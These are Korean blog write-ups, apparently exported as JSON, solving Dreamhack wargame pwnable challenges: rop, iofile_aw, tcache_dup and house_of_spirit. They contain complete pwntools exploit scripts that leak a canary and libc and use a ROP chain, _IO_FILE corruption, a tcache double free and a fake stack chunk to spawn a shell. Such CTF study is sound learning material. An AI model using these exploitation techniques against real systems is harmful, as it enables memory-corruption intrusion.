ROP를 일으키면 될것 같다.\n버퍼의 크기는 0x30인데 0x100 길이의 값을 read함수로 받기 때문에 0x31만큼의 값을 주면 \\x00 이 없어 카나리 7바이트와 입력한 마지막 1자리 값이 출력 될 것이다.\n이후 릭한 카나리를 이용해서 ROP 공격을 시도한다. put plt를 이용해 read got 주소를 출력해 libc 베이스 주소를 구한다. 이후 libc의 system 함수 오프셋을 더해 /bin/sh를 인자로 하여 system 함수를 실행시키는 것이 내가 구상한 시나리오이다.\n간단하게 익스플로잇 코드를 구성해보자.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 19094); #p = process(\u0026#34;./rop\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc-2.27.so\u0026#39;}) #p = process(\u0026#34;./house_of_force\u0026#34;) elf = ELF(\u0026#34;./rop\u0026#34;) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) pr = 0x4007f3 read_got = elf.got[\u0026#34;read\u0026#34;] puts_plt = elf.plt[\u0026#34;puts\u0026#34;] main_func = elf.symbols[\u0026#34;main\u0026#34;] print(f\u0026#34;read got : {hex(read_got)}\u0026#34;) print(f\u0026#34;puts plt : {hex(puts_plt)}\u0026#34;) print(f\u0026#34;main func : {hex(main_func)}\u0026#34;) p.sendafter(b\u0026#34;Buf: \u0026#34;, b\u0026#34;A\u0026#34;*0x39) p.recvuntil(b\u0026#34;A\u0026#34;*0x39) leak = b\u0026#34;\\x00\u0026#34;+p.recvn(7) canary = u64(leak) print(f\u0026#34;leak canary : {hex(canary)}\u0026#34;) payload1 = b\u0026#34;A\u0026#34;*0x38 payload1 += p64(canary) payload1 += p64(0x400790) payload1 += p64(pr) payload1 += p64(read_got) payload1 += p64(puts_plt) payload1 += p64(main_func) p.sendlineafter(b\u0026#34;Input ROP payload\\nBuf: \u0026#34;, payload1) leak_read_got = u64(p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1]+b\u0026#34;\\x00\\x00\u0026#34;) libc_base = leak_read_got - libc.sym[\u0026#34;read\u0026#34;] system = libc_base + libc.sym[\u0026#34;system\u0026#34;] binsh = libc_base+list(libc.search(b\u0026#34;/bin/sh\u0026#34;))[0] print(f\u0026#34;libc main : {hex(libc_base)}\u0026#34;) print(f\u0026#34;system : {hex(system)}\u0026#34;) print(f\u0026#34;binsh : {hex(binsh)}\u0026#34;) p.sendafter(b\u0026#34;Buf: \u0026#34;, b\u0026#34;A\u0026#34;*0x30) 위 코드를 이용해 우선 카나리와 libc 베이스 주소를 구하고 다시 main함수로 돌려버린다. puts 함수는 인자를 1개 이용하기 때문에 pop rdi ; ret 가젯을 이용했다.\n이후 릭된 값을들 다시 구성해 system 함수를 콜하게 하면 된다. 여기서 [1] 부분은 기존 코드 그대로 이용했고 [2]에서 바로 system 함수를 콜하려 했지만 문제가 발생했다. 그래서 libc를 구할때 사용했던 코드는 정상 동작해서 puts 함수가 동작 한 후 main_func 부분을 다시 pr 가젯으로 주고 system 함수를 콜 했다.\n최종적인 익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 19094); #p = process(\u0026#34;./rop\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc-2.27.so\u0026#39;}) #p = process(\u0026#34;./house_of_force\u0026#34;) elf = ELF(\u0026#34;./rop\u0026#34;) libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) pr = 0x4007f3 read_got = elf.got[\u0026#34;read\u0026#34;] puts_plt = elf.plt[\u0026#34;puts\u0026#34;] main_func = elf.symbols[\u0026#34;main\u0026#34;] print(f\u0026#34;read got : {hex(read_got)}\u0026#34;) print(f\u0026#34;puts plt : {hex(puts_plt)}\u0026#34;) print(f\u0026#34;main func : {hex(main_func)}\u0026#34;) p.sendafter(b\u0026#34;Buf: \u0026#34;, b\u0026#34;A\u0026#34;*0x39) p.recvuntil(b\u0026#34;A\u0026#34;*0x39) leak = b\u0026#34;\\x00\u0026#34;+p.recvn(7) canary = u64(leak) print(f\u0026#34;leak canary : {hex(canary)}\u0026#34;) payload1 = b\u0026#34;A\u0026#34;*0x38 payload1 += p64(canary) payload1 += p64(0x400790) payload1 += p64(pr) payload1 += p64(read_got) payload1 += p64(puts_plt) payload1 += p64(main_func) p.sendlineafter(b\u0026#34;Input ROP payload\\nBuf: \u0026#34;, payload1) leak_read_got = u64(p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1]+b\u0026#34;\\x00\\x00\u0026#34;) libc_base = leak_read_got - libc.sym[\u0026#34;read\u0026#34;] system = libc_base + libc.sym[\u0026#34;system\u0026#34;] binsh = libc_base+list(libc.search(b\u0026#34;/bin/sh\u0026#34;))[0] print(f\u0026#34;libc main : {hex(libc_base)}\u0026#34;) print(f\u0026#34;system : {hex(system)}\u0026#34;) print(f\u0026#34;binsh : {hex(binsh)}\u0026#34;) p.sendafter(b\u0026#34;Buf: \u0026#34;, b\u0026#34;A\u0026#34;*0x30) payload2 = b\u0026#34;A\u0026#34;*0x38 payload2 += p64(canary) payload2 += p64(0x400790) payload2 += p64(pr) payload2 += p64(read_got) payload2 += p64(puts_plt) payload2 += p64(pr) payload2 += p64(binsh) payload2 += p64(system) pause() p.sendafter(b\u0026#34;Input ROP payload\\nBuf: \u0026#34;, payload2) p.interactive() [2] 부분에서 libc를 릭하면서 바로 system 함수를 호출하는 방법을 쓰신 분들도 봤는데 필자는 함수 흐름을 돌리는 것이 편해서 이렇게 구성했다.\n위 코드를 이용하면 flag를 얻을 수 있다.\n","permalink":"https://dig06161.github.io/2023/03/12/dreamhack-rop/","summary":"드림핵 포너블 rop 문제풀이","title":"[Dreamhack] PWN rop"},{"content":"이번 문제에서는 io_file에 대한 내용을 공부하면서 풀었다. 문제를 보면 드림핵 강의가 함께 제공된다. https://dreamhack.io/learn/2/11#40\nio_file에 대한 내용은 이번에 처음 공부해 보면서 이전 ctf에서 문제를 접했지만 해당 내용을 몰랐던 것이 매우 아쉬웠다. 그리고 생각보다 더 복잡했다\u0026hellip;\nio_file에 대해 설명하면 리눅스 시스템에서 파일 스트림을 나타내기 위한 하나의 구조체이다. fopen와 같은 파일 스트림을 여는 함수를 호출하면 내부적으로 io_file 구조체가 셋팅된다.\nglibc의 _io_file 구조체는 다음과 같다.\nstruct _IO_FILE { int _flags;\t/* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr;\t/* Current read pointer */ char *_IO_read_end;\t/* End of get area. */ char *_IO_read_base;\t/* Start of putback+get area. */ char *_IO_write_base;\t/* Start of put area. */ char *_IO_write_ptr;\t/* Current put pointer. */ char *_IO_write_end;\t/* End of put area. */ char *_IO_buf_base;\t/* Start of reserve area. */ char *_IO_buf_end;\t/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; _flags 파일에 대한 읽기/쓰기/추가 권한을 의미. 0xfbad0000가 매직 값으로 이는 고정이고 하위 2바이트로 파일의 권한이 결졍된다. _IO_read_ptr 파일 읽기 버퍼에 대한 포인터. _IO_read_end 파일 읽기 버퍼 주소의 끝을 가리키는 포인터. _IO_read_base 파일 읽기 버퍼 주소의 시작을 가리키는 포인터. _IO_write_base 파일 쓰기 버퍼 주소의 시작을 가리키는 포인터. _IO_write_ptr 쓰기 버퍼에 대한 포인터. _IO_write_end 파일 쓰기 버퍼 주소의 끝을 가리키는 포인터. _chain 프로세스의 _IO_FILE 구조체는 _chain 필드를 통해 링크드 리스트를 만든다. 링크드 리스트의 헤더는 라이브러리의 전역 변수인 _IO_list_all에 저장된다. _fileno 파일 디스크립터의 값. 주로 사용되는 값들은 이 정도 같다. _flags의 경우 0xfbad0000로 상위 2바이트가 고정이고 하위 2바이트는 파일의 형식, 읽기 또는 쓰기 권한에 따라 다르게 결정된다. glibc에 정의된 flags 값은 다음과 같다.\n#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don\u0026#39;t deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don\u0026#39;t call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000 _IO_MAGIC_MASK 아래의 값들을 0xFBAD0000에 더해 권한에 대한 플레그를 설정하게 된다. 사실 다 외우기는 힘들것 같고 이번에 정리하면서 그때그때 찾아보고 해야겠다.\n인터넷을 찾아보다가 다음과 같은 내용을 발견했다. _IO_FILE의 offset인데 공격코드를 작성할때 참고하면 편할 것 같다.\n0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable 실제로 gdb를 통해 디버깅 해보면 _IO_FILE_plus 구조체가 호출된다. _IO_FILE_plus의 구조체는 다음과 같다.\nstruct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; _IO_FILE은 _IO_FILE_plus의 file에 해당하고 그 아래 vtable로 할당된 _IO_JUMP_t 구조체가 있는것을 볼 수 있다. _IO_FILE + 0xd8위치에 vtable이 존재하게 된다.\n_IO_JUMP_t 구조체의 내용을 다음과 같다.\nstruct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; 위 필드들은 fread, fwrite, fopen같은 함수에서 호출된다. 파일 함수가 호출되면 _IO_jump_t에 있는 함수 포인터를 호출하게 된다. 우분투 16.04버전 까지는 fp_vtable.c에 버퍼 오버플로우 취약점이 존재해 _IO_jump_t vtable 값을 덮어 써 원하는 함수를 호출할 수 있다. 전역 변수에서 버퍼 오버플로우가 일어나 파일 포인터를 취약한 변수로 바꾼 후 해당 변수에 _IO_FILE를 구성해 익스플로잇 하는 시나리오가 완성된다.\n이후 버전에서는 _IO_vtable_check 함수가 추가되면서 패치가 되었다.\n해당 내용을 이용해 문제를 풀어보자.\n문제의 소스코드는 다음과 같다.\n// gcc -o iofile_aw iofile_aw.c -fno-stack-protector -Wl,-z,relro,-z,now #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; char buf[80]; int size = 512; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void read_str() { fgets(buf, sizeof(buf)-1, stdin); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } void help() { printf(\u0026#34;read: Read a line from the standard input and split it into fields.\\n\u0026#34;); } void read_command(char *s) { /* No overflow here */ int len; len = read(0, s, size); if(s[len-1] == \u0026#39;\\x0a\u0026#39;) s[len-1] = \u0026#39;\\0\u0026#39;; } int main(int argc, char *argv[]) { int idx = 0; int sel; char command[512]; long *dst = 0; long *src = 0; memset(command, 0, sizeof(command)-1); initialize(); while(1) { printf(\u0026#34;# \u0026#34;); read_command(command); if(!strcmp(command, \u0026#34;read\u0026#34;)) { read_str(); } else if(!strcmp(command, \u0026#34;help\u0026#34;)) { help(); } else if(!strncmp(command, \u0026#34;printf\u0026#34;, 6)) { if ( strtok(command, \u0026#34; \u0026#34;) ) { src = (long *)strtok(NULL, \u0026#34; \u0026#34;); dst = (long *)stdin; if(src) memcpy(dst, src, 0x40); }\t} else if(!strcmp(command, \u0026#34;exit\u0026#34;)) { return 0; } else { printf(\u0026#34;%s: command not found\\n\u0026#34;, command); } } return 0; } read, help, printf, exit의 문자열을 받아 이에 맞는 동작을 하는 코드이다 사실상 read와 printf만 보면 될 것이다.\nelse if(!strncmp(command, \u0026#34;printf\u0026#34;, 6)) { if ( strtok(command, \u0026#34; \u0026#34;) ) { src = (long *)strtok(NULL, \u0026#34; \u0026#34;); dst = (long *)stdin; if(src) memcpy(dst, src, 0x40); }\t} 시나리오를 작성해보자.\n위 부분을 살펴보면 입력받은 command 변수에 공백을 잘라서 src에 넣고 stdin 값을 dst에 넣은 다음 src 값이 존재하면 dst를 src 값으로 덮어씌우는 동작을 한다. 총 0x40만큼 덮을 수 있으며 dst는 입력을 담당하는 stdin의 위치를 가리키며 _IO_FILE 구조체가 존재하는 부분이다. 0x40만큼 오버라이트 할수 있게 되면 _IO_FILE의 buf_base까지 값을 쓸 수 있고, 이는 원하는 부분에 값을 입력 할 수 있게된다.\n이렇게 변조된 stdin을 사용하는 곳이 read가 입력되었을 때이다. read가 입력되면 read_str() 함수가 실행되는데 이 함수 내부에는 fgets 함수가 사용되어 _IO_FILE의 내용을 바탕으로 값을 쓸 수 있다.\nfgets을 이용해 command 전역 변수 값의 크기를 검증하는 size변수 값을 조작할 수 있을것 같다. read_command()함수를 통해 size변수의 값 만큼만 read해 마지막 글자가 \\x0a 값이면 이를 \\0으로 바꾸는 동작을 한다.\nprintf를 통해서 stdin 구조체의 buf_base를 size 변수 주소를 넣고 read를 입력해 충분히 큰 값으로 바꾼다. 그러면 commend 변수에 값 길이를 검증하는 size 변수가 조작되어 command 변수에 오버플로우를 일으킬 수 있다. 이를 이용해 return 주소를 get_shell() 함수주소로 변경하면 익스플로잇에 성공한다.\ngdb를 통해서 stdin 구조를 출력하면 다음과 같다.\nflag 0x00000000fbad208b read ptr 0x00007ffff7dd1963 read end 0x00007ffff7dd1963 read base 0x00007ffff7dd1963 write base 0x00007ffff7dd1963 write ptr 0x00007ffff7dd1963 write end 0x00007ffff7dd1963 buf base 0x00007ffff7dd1963 buf end 0x00007ffff7dd1964 flag 값을 보면 0xfbad208b가 설정되어 있는데 b가 의미하는게 뭔지 잘 모르겠다. flag정보를 찾아보는데 잘 안나왔다. 그래서 익스플로잇 코드를 작성할 때 쓰기권한인 8을 주고 공격을 시도했다.\n아래 공격코드를 이용했다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 10575); #p = process(\u0026#34;./oneshot\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #p = process(\u0026#34;./iofile_aw\u0026#34;) elf=ELF(\u0026#39;./iofile_aw\u0026#39;) size = elf.symbols[\u0026#39;size\u0026#39;] get_shell = elf.symbols[\u0026#39;get_shell\u0026#39;] \u0026#39;\u0026#39;\u0026#39; flag 0x00000000fbad208b read ptr 0x00007ffff7dd1963 read end 0x00007ffff7dd1963 read base 0x00007ffff7dd1963 write base 0x00007ffff7dd1963 write ptr 0x00007ffff7dd1963 write end 0x00007ffff7dd1963 buf base 0x00007ffff7dd1963 buf end 0x00007ffff7dd1964 \u0026#39;\u0026#39;\u0026#39; #payload1 = p64(0xfbad208b) payload1 = p64(0xfbad2088) #flag b -\u0026gt; 8 payload1 += p64(0) #read ptr payload1 += p64(0) #read end payload1 += p64(0) #read base payload1 += p64(0) #write base payload1 += p64(0) #write ptr payload1 += p64(0) #write end payload1 += p64(size) #buf base =\u0026gt; size ptr p.sendafter(b\u0026#34;# \u0026#34;, b\u0026#34;printf \u0026#34;+payload1) #print(b\u0026#34;printf \u0026#34;+payload1) #print(b\u0026#34;printf\\x00\u0026#34;+payload1) p.sendlineafter(b\u0026#34;# \u0026#34;, b\u0026#34;read\u0026#34;) p.sendline(p64(0x500)) pause() payload2 = b\u0026#34;A\u0026#34;*(0x228-5) payload2 += p64(get_shell) p.sendlineafter(b\u0026#34;# \u0026#34;, b\u0026#34;exit\\x00\u0026#34;+payload2) p.interactive() ","permalink":"https://dig06161.github.io/2023/02/28/dreamhack-pwn-iofile_aw/","summary":"드림핵 포너블 iofile_aw 문제풀이","title":"[Dreamhack] PWN iofile_aw, what is _IO_FILE?"},{"content":"드림핵 tcache_dup 문제풀이다. 해당 문제 페이지를 보면 다음과 같은 tcache_dup 취약점에 대한 설명이 나와있다. https://learn.dreamhack.io/16#82\ntcache는 더블프리 버그같은 취약점을 검증하지 않아 여러 bin에서의 공격이 쉬운편이다. tcache dup 취약점은 double free 버그를 이용하여 힙이 할당될 때 같은 공간에 두번 할당 할 수 있다. 또한 값을 쓸 수 있다면 이 영역의 값을 변조하는 것도 가능하다.\n이 바이너리의 경우 printf 함수의 got영역에 get_shell()함수의 주소를 입력해 printf가 실행되면 쉘 획득이 가능하게 문제를 풀었다.\n해당 바이너리의 소스코드는 다음과 같다.\n// gcc -o tcache_dup tcache_dup.c -no-pie #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; char *ptr[10]; void alarm_handler() { exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int create(int cnt) { int size; if(cnt \u0026gt; 10) { return -1; } printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;size); ptr[cnt] = malloc(size); if(!ptr[cnt]) { return -1; } printf(\u0026#34;Data: \u0026#34;); read(0, ptr[cnt], size); } int delete() { int idx; printf(\u0026#34;idx: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); if(idx \u0026gt; 10) { return -1; } free(ptr[idx]); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } int main() { int idx; int cnt = 0; initialize(); while(1) { printf(\u0026#34;1. Create\\n\u0026#34;); printf(\u0026#34;2. Delete\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); switch(idx) { case 1: create(cnt); cnt++; break; case 2: delete(); break; default: break; } } return 0; } 64비트 환경에서 got값을 덮을 예정이기에 1번을 입력해 8바이트 메모리를 할당 받는다. 할당받은 메모리의 포인터는 ptr배열에 저장되어 0번은 우리가 할당받은 8바이트 메모리를 가리킨다. 이후 0번 포인터를 2번 메뉴를 통해 2번 free한다. 이후 tcache 정보를 보면 다음과 같다.\npwndbg\u0026gt; tcache { counts = \u0026#34;\\002\u0026#34;, \u0026#39;\\000\u0026#39; \u0026lt;repeats 62 times\u0026gt;, entries = {0x1114260, 0x0 \u0026lt;repeats 63 times\u0026gt;}, } tcache_entry에 다음에 할당될 힙 주소인 0x1114260가 있고 이는 2번 free한 주소이다. 이후 1번을 통해서 8바이트를 할당한 후 데이터에 printf got를 넣는다. double free가 일어나 다음에 할당될 주소가 printf got가 들어갈 것이다 pwndbg의 bins 명령을 통해 tcache bins 정보를 불어오면 다음과 같다.\npwndbg\u0026gt; bins pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols. This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details. tcachebins 0x20 [ 1]: 0x13b5260 —▸ 0x601038 (printf@got[plt]) ◂— ... fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty 프로세스를 끝낸 뒤 다시 실행해 힙 주소는 다르지만 tcache에 예약된 청크를 보면 원래 할당된 메모리 뒤로 printf got가 할당된 것을 볼 수 있다. 따라서 이후 8바이트를 두번 할당 받을 것인데, 첫번째는 0x13b5260 주소의 메모리 위치가, 두번째는 printf got메모리 위치가 할당 될 것이다.\n따라서 1번을 통해 8바이트 할당 후 임의 데이터를 입력한 뒤 또 1번을 통해 8바이트를 할당받아 get_shell() 함수 주소를 넣으면 printf got에 get_shell() 함수 주소가 쓰여 printf가 호출될때 쉘을 획득할 수 있다.\n익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 20376); p = process(\u0026#34;./tcache_dup\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc-2.27.so\u0026#39;}) #p = process(\u0026#34;./house_of_spirit\u0026#34;) libc=ELF(\u0026#39;./libc-2.27.so\u0026#39;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(8)) p.sendafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;A\u0026#34;*8) p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;idx: \u0026#34;, b\u0026#34;0\u0026#34;) p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;idx: \u0026#34;, b\u0026#34;0\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(8)) p.sendafter(b\u0026#34;Data: \u0026#34;, p64(0x601038)) #printf got p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(8)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;A\u0026#34;*8) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(8)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, p64(0x400ab0)) #get_shell() p.interactive() ","permalink":"https://dig06161.github.io/2023/02/26/dreamhack-pwn-tcache_dup/","summary":"드림핵 포너블 tcache_dup 문제풀이","title":"[Dreamhack] PWN tcache_dup"},{"content":"얼떨결에 도전해본 4단계 문제이다. 취약점 이름은 제목과 같이 house_of_spirit 공격에 관한 내용이다. 문제를 보면 해당 취약점이 어떤 방식으로 터지는지에 대한 설명이 링크로 주어진다. https://learn.dreamhack.io/16#96\n해당 취약점을 간단히 설명하면, free함수는 할당된 메모리를 해제하는 함수이다. free함수를 통해 해제된 청크는 fastbin의 규칙 때문에 취약점으로 이어질수 있다. 가령 0x30의 메모리를 free하면 해당 청크는 fastbin 규약에 따라 메모리에서 해제된다. 해제된 메모리 정보를 tcache_entry에 저장한다. 이후 다시 0x30의 메모리를 할당 받으면 다른 힙 청크에서 일부를 할당하는 것이 아닌 tcache_entry에 등록되어 있는 동일한 사이즈의 청크를 이용하게 된다. 해당 취약점은 변수의 메모리 주소를 알고있다는 가정 하에 실제 청크의 형식을 변수 메모리에 구성하고 이를 해제 후 제 할당함으로 써 할당한 청크에 값을 쓰면 스택 영역을 덮어 씌울 수 있다.\n해당 문제의 소스코드는 다음과 같다.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; char *ptr[10]; void alarm_handler() { exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { execve(\u0026#34;/bin/sh\u0026#34;, NULL, NULL); } int main() { char name[32]; int idx, i, size = 0; long addr = 0; initialize(); memset(name, 0, sizeof(name)); printf(\u0026#34;name: \u0026#34;); read(0, name, sizeof(name)-1); printf(\u0026#34;%p: %s\\n\u0026#34;, name, name); while(1) { printf(\u0026#34;1. create\\n\u0026#34;); printf(\u0026#34;2. delete\\n\u0026#34;); printf(\u0026#34;3. exit\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); switch(idx) { case 1: if(i \u0026gt; 10) { return -1; } printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;size); ptr[i] = malloc(size); if(!ptr[i]) { return -1; } printf(\u0026#34;Data: \u0026#34;); read(0, ptr[i], size); i++; break; case 2: printf(\u0026#34;Addr: \u0026#34;); scanf(\u0026#34;%ld\u0026#34;, \u0026amp;addr); free(addr); break; case 3: return 0; default: break; } } return 0; } 바이너리의 진행 구조는 다음과 같다.\n이름 입력 -\u0026gt; 이름 메모리 주소 출력 -\u0026gt; 각 매뉴에 따라 1번은 malloc을 통한 메모리 할당 -\u0026gt; 2번을 통해 free를 이용한 메모리 해제 -\u0026gt; 3번을 통해 return을 호출 후 종료 이름을 입력한 메모리의 주소를 알수 있다는 것이 매우 유효하다. 이 주소는 스택 영역에 있으며 이를 이용해 가짜 청크를 구성하고 해제한 가짜 청크만큼 다시 할당해 return영역을 덮어쓰면 익스플로잇에 성공할 것 같다.\n문제를 풀기전에 청크의 구조를 알아보자.\n________________________________ | prev_size | size | \u0026lt;- header[prev_size + size의 값이 |--------------------------------| 32비트의 경우 8바이트(4 + 4), | | 64비트의 경우 16바이트(8 + 8)] | | | data | \u0026lt;- 할당한 데이터 영역의 크기 | | | | |________________________________| 위처럼 구조가 나열되어 있으며 64비트 환경에서 0x32크기의 힙을 할당받으면 해더 영역 0x10 과 데이터 영역 0x32가 더해진 0x42가 해더의 size에 쓰인다. prev_size는 이전 청크의 크기 값이다.\n이 정보를 바탕으로 name 변수에 가짜 청크를 구성해보자. 헤더 영역만 잘 맞춰주면 free 함수가 청크로 인식해 사이즈 만큼 해제할 수 있을 것이다. prev_size는 0을 8바이트 만큼 넣고 size를 0x50만큼 입력한다. 이후 출력된 메모리 주소를 free 한다. 다만 힙을 한번 할당 해야지 tcache가 생성되므로 임의 크기의 힙을 한번 할당한다. 이후 출력된 메모리 주소 + 0x10의 주소를 free하면 name변수 주소로 청크가 0x50만큼 할당된다. 이후 임의 데이터로 채우고 return 주소가 들어있는 부분에 get_shell() 함수 주소를 넣으면 익스플로잇 할수 있다.\n익스플로잇 코드는 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 9817); #p = process(\u0026#34;./oneshot\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #p = process(\u0026#34;./house_of_spirit\u0026#34;) #libc=ELF(\u0026#39;./libc.so.6\u0026#39;) data = p64(0)+p64(0x50) print(data) p.sendafter(b\u0026#34;name: \u0026#34;, data) leak = int(p.recvuntil(b\u0026#34;:\u0026#34;)[:-1], 16) print(f\u0026#34;leak data : {hex(leak)}\u0026#34;) free_ptr = leak+0x10 print(f\u0026#34;free ptr : {hex(free_ptr)}\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, str(1)) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(64)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;A\u0026#34;*64) 